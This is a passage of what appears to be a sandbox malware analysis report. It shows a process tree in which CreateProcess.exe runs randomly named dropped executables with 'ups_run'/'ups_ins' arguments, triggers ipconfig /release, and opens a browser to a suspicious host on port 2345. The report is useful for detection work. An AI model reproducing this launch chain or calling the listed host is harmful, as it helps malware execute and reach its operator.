      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4900
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eywrojhbzt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4264
  - - C:\Temp\eywrojhbzt.exe
      C:\Temp\eywrojhbzt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3736
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4684
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3668
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eywrojhbzt.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3152
  - - C:\Temp\i_eywrojhbzt.exe
      C:\Temp\i_eywrojhbzt.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2020
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bvtqljdbvt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5428
  - - C:\Temp\bvtqljdbvt.exe
      C:\Temp\bvtqljdbvt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1900
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4836
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4312
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bvtqljdbvt.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5996
  - - C:\Temp\i_bvtqljdbvt.exe
      C:\Temp\i_bvtqljdbvt.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5424
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jdbvtnlgdy.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1904
  - - C:\Temp\jdbvtnlgdy.exe
      C:\Temp\jdbvtnlgdy.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:672
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2036
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1524
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jdbvtnlgdy.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2812
  - - C:\Temp\i_jdbvtnlgdy.exe
      C:\Temp\i_jdbvtnlgdy.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1308
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqnigaysqk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1460
  - - C:\Temp\sqnigaysqk.exe
      C:\Temp\sqnigaysqk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1276
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2828
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5848
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqnigaysqk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4156
  - - C:\Temp\i_sqnigaysqk.exe
      C:\Temp\i_sqnigaysqk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4324
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vpnhfaxvpn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5900
  - - C:\Temp\vpnhfaxvpn.exe
      C:\Temp\vpnhfaxvpn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4752
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1784
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3664
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vpnhfaxvpn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2228
  - - C:\Temp\i_vpnhfaxvpn.exe
      C:\Temp\i_vpnhfaxvpn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4700
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pkhfzxvpnk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5308
  - - C:\Temp\pkhfzxvpnk.exe
      C:\Temp\pkhfzxvpnk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2848
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1520
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3528
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pkhfzxvpnk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3440
  - - C:\Temp\i_pkhfzxvpnk.exe
      C:\Temp\i_pkhfzxvpnk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4780
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\spjhczusmk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5916
  - - C:\Temp\spjhczusmk.exe
      C:\Temp\spjhczusmk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1512
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2496
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2752
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_spjhczusmk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:6024
  - - C:\Temp\i_spjhczusmk.exe
      C:\Temp\i_spjhczusmk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3028
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhezxrpjhb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2624
  - - C:\Temp\jhezxrpjhb.exe
      C:\Temp\jhezxrpjhb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:252
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2344
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4552
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhezxrpjhb.exe ups_ins
    3⤵
    PID:3544
  - - C:\Temp\i_jhezxrpjhb.exe
      C:\Temp\i_jhezxrpjhb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1916
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hebwuojhbz.exe ups_run
    3⤵
    PID:5320
  - - C:\Temp\hebwuojhbz.exe
      C:\Temp\hebwuojhbz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2372
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5316
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2576
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hebwuojhbz.exe ups_ins
    3⤵
    PID:2416
  - - C:\Temp\i_hebwuojhbz.exe
      C:\Temp\i_hebwuojhbz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2340
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bztrljdbwt.exe ups_run
    3⤵
    PID:3216
  - - C:\Temp\bztrljdbwt.exe
      C:\Temp\bztrljdbwt.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3008
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1092
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4100
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bztrljdbwt.exe ups_ins
    3⤵
    PID:5968
  - - C:\Temp\i_bztrljdbwt.exe
      C:\Temp\i_bztrljdbwt.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5564
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gaywtoljdb.exe ups_run
    3⤵
    PID:5752
  - - C:\Temp\gaywtoljdb.exe
      C:\Temp\gaywtoljdb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2020
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3028
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3284
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gaywtoljdb.exe ups_ins
    3⤵
    PID:1316
  - - C:\Temp\i_gaywtoljdb.exe
      C:\Temp\i_gaywtoljdb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5612
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gaysqlidav.exe ups_run
    3⤵
    PID:1676
  - - C:\Temp\gaysqlidav.exe
      C:\Temp\gaysqlidav.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2400
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4892
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2088
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gaysqlidav.exe ups_ins
    3⤵
    PID:4052
  - - C:\Temp\i_gaysqlidav.exe
      C:\Temp\i_gaysqlidav.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5820
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qkicavsnkf.exe ups_run
    3⤵
    PID:1572
  - - C:\Temp\qkicavsnkf.exe
      C:\Temp\qkicavsnkf.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5472
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6016
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3800
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qkicavsnkf.exe ups_ins
    3⤵
    PID:1968
  - - C:\Temp\i_qkicavsnkf.exe
      C:\Temp\i_qkicavsnkf.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3572
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dxusnkfdxv.exe ups_run
    3⤵
    PID:3592
  - - C:\Temp\dxusnkfdxv.exe
      C:\Temp\dxusnkfdxv.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2064
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4416
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4552
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dxusnkfdxv.exe ups_ins
    3⤵
    PID:4872
  - - C:\Temp\i_dxusnkfdxv.exe
      C:\Temp\i_dxusnkfdxv.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6068
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\usmkhcausp.exe ups_run
    3⤵
    PID:5024
  - - C:\Temp\usmkhcausp.exe
      C:\Temp\usmkhcausp.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4480
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4920
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5444
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_usmkhcausp.exe ups_ins
    3⤵
    PID:2796
  - - C:\Temp\i_usmkhcausp.exe
      C:\Temp\i_usmkhcausp.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1616
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pmhfzxrpjh.exe ups_run
    3⤵
    PID:3892
  - - C:\Temp\pmhfzxrpjh.exe
      C:\Temp\pmhfzxrpjh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1184
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5888
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3092
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pmhfzxrpjh.exe ups_ins
    3⤵
    PID:3268
  - - C:\Temp\i_pmhfzxrpjh.exe
      C:\Temp\i_pmhfzxrpjh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3564
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5544
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffc12a0c188,0x7ffc12a0c194,0x7ffc12a0c1a0
      4⤵
      PID:5324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=2032,i,15817307318711942505,12911818218681321031,262144 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=2500 /prefetch:2
      4⤵
      PID:4984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2184,i,2855695183602018326,398418542810702354,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=2540 /prefetch:11
      4⤵
      System Time Discovery
      PID:4500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2652,i,133978360215960729,2204361608854463473,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:13
      4⤵
      PID:5068
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,14961577542008286635,16681487903534507634,2097152 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:1
      4⤵
      PID:4268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3588,i,17272753871472506933,18405860663917103,2097152 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
      4⤵
      PID:3328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4328,i,8157219681013403072,2619942890513197385,2097152 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:9
      4⤵
      PID:4216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4316,i,12021739496675361135,10412951218458889231,2097152 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=4920 /prefetch:1
      4⤵
      PID:5588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3792,i,13042360972884153735,2421095385690930801,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:14
      4⤵
      PID:2020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5440,i,11950197627775668072,5174009048794445257,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:14
      4⤵
      PID:3208
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5424,i,11301851517970010965,10112230364925404395,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:14
      4⤵
      PID:2400
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5924,i,7239468254077072125,9953767514524103230,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
      4⤵
      PID:1312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5924,i,7239468254077072125,9953767514524103230,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
      4⤵
      PID:2668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,18241518103168880838,5568235057387525318,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:14
      4⤵
      PID:2416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6536,i,3236755223227300606,10985201134325938767,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=6412 /prefetch:14
      4⤵
      PID:6016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1436,i,4382752883360409352,15377029625935956066,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=1296 /prefetch:14
      4⤵
      PID:476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1456,i,9305708813952790968,16154446875644622298,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:14
      4⤵
      PID:2284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1464,i,10880852386146674140,2763674992091120050,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=6608 /prefetch:14
      4⤵
      PID:1784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6552,i,8905913410263873661,5898935203484527908,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=1492 /prefetch:14
      4⤵
      PID:2044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6224,i,11162214473397992649,14835665804420281265,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:14
      4⤵
      PID:3540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6800,i,11284939798031233093,9388214074542086860,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=6412 /prefetch:14
      4⤵
      PID:1808
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6804,i,172192935064363620,4636096842280951358,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=6224 /prefetch:14
      4⤵
      PID:5816
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3520,i,3179003757976912064,7640070106577225754,262144 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:10
      4⤵
      PID:5732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
